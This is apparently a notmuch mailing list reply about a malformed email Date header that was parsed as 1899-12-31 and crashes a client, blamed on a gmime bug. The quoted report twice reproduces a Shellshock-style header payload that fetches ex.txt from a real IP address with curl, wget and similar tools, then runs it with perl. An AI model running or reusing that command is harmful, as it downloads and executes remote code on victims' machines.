Johannes Schauer <j.scha...@email.de> writes: > Hi, > > I recently received an email with the following date field (the value of all > other headers is the same): > > Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO > 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget > 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &; > > When doing `notmuch search lwp-download` I get: > > thread:000000000001ea6b 1899-12-31 [1/1] {; () { :; }; /bin/sh -c 'cd /tmp > ;curl -sO 178.254.31.165/ex.txt;lwp-download > http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch > 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &; (inbox unread) > > You can see that the date is 1899-12-31 which is wrong. > > This is annoying because the python module datetime which is for example used > by the notmuch client alot cannot handle dates before the year 1900 and will > thus never show this email in its thread view but instead display an exception > every time the view is refreshed. > > It would be great if an invalid date could either somehow default to a nil > value or be a date that is 1900 or later. >
I believe the underlying problem is a bug in the gmime library. I've reported it it at https://bugzilla.gnome.org/show_bug.cgi?id=779923 We'll see if upstream agrees. If my understanding of the situation is correct, it should be easy enough to clamp the return value from gmime so that only non-negative time values are saved into the notmuch database. d _______________________________________________ notmuch mailing list notmuch@notmuchmail.org https://notmuchmail.org/mailman/listinfo/notmuch